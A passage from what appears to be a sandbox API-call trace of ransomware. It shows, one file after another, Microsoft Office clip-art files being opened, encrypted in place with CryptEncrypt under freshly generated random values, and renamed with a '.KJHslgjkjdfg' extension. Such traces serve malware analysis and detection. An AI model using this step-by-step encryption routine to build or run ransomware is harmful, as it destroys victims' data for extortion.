lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.985] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.985] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.985] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.985] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.985] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.985] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.985] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6260, lpOverlapped=0x0) returned 1 [0235.986] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6260, dwBufLen=0x6260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6260) returned 1 [0235.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.987] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6260, lpOverlapped=0x0) returned 1 [0235.987] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.987] SetEndOfFile (hFile=0x130) returned 1 [0235.990] GetProcessHeap () returned 0x2ef0000 [0235.990] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0235.990] GetProcessHeap () returned 0x2ef0000 [0235.990] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0235.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.kjhslgjkjdfg")) returned 1 [0235.992] CloseHandle (hObject=0x130) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0235.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0235.993] GetProcessHeap () returned 0x2ef0000 [0235.993] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0235.994] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0235.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0235.994] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.994] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.994] GetProcessHeap () returned 0x2ef0000 [0235.994] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0235.994] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0235.994] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.994] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0235.996] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0235.996] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0235.996] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0235.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0235.996] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0235.997] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0235.997] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0235.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.997] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9c80, lpOverlapped=0x0) returned 1 [0235.998] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c80, dwBufLen=0x9c80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c80) returned 1 [0235.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.998] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9c80, lpOverlapped=0x0) returned 1 [0235.999] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0235.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.999] SetEndOfFile (hFile=0x130) returned 1 [0236.002] GetProcessHeap () returned 0x2ef0000 [0236.002] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0236.002] GetProcessHeap () returned 0x2ef0000 [0236.002] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0236.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.kjhslgjkjdfg")) returned 1 [0236.004] CloseHandle (hObject=0x130) returned 1 [0236.004] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0236.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0236.006] GetProcessHeap () returned 0x2ef0000 [0236.006] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0236.006] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0236.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0236.007] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0236.009] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0236.009] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0236.009] GetProcessHeap () returned 0x2ef0000 [0236.009] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0236.009] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0236.009] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0236.009] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0236.009] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0236.010] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0236.010] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0236.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0236.010] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0236.010] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0236.010] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0236.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.010] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfe6, lpOverlapped=0x0) returned 1 [0236.010] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0, dwBufLen=0xff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0) returned 1 [0236.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.010] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xff0, lpOverlapped=0x0) returned 1 [0236.011] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0236.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.011] SetEndOfFile (hFile=0x130) returned 1 [0236.013] GetProcessHeap () returned 0x2ef0000 [0236.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0236.013] GetProcessHeap () returned 0x2ef0000 [0236.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0236.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.kjhslgjkjdfg")) returned 1 [0236.016] CloseHandle (hObject=0x130) returned 1 [0236.016] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0236.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0236.017] GetProcessHeap () returned 0x2ef0000 [0236.017] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0236.017] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0236.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0236.017] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0236.540] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0236.540] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0236.540] GetProcessHeap () returned 0x2ef0000 [0236.540] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0236.540] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0236.540] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0236.540] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0236.540] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0236.541] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0236.541] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0236.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0236.541] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0236.541] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0236.541] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0236.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.541] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5006, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5006, lpOverlapped=0x0) returned 1 [0237.545] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5010, dwBufLen=0x5010 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5010) returned 1 [0237.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.546] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5010, lpOverlapped=0x0) returned 1 [0237.546] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x50e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.546] SetEndOfFile (hFile=0x130) returned 1 [0237.549] GetProcessHeap () returned 0x2ef0000 [0237.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0237.549] GetProcessHeap () returned 0x2ef0000 [0237.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0237.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.kjhslgjkjdfg")) returned 1 [0237.551] CloseHandle (hObject=0x130) returned 1 [0237.551] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0237.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0237.554] GetProcessHeap () returned 0x2ef0000 [0237.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0237.554] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0237.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0237.554] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0237.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.556] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.556] GetProcessHeap () returned 0x2ef0000 [0237.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0237.556] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0237.556] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.556] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0237.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0237.557] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0237.557] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0237.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0237.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: 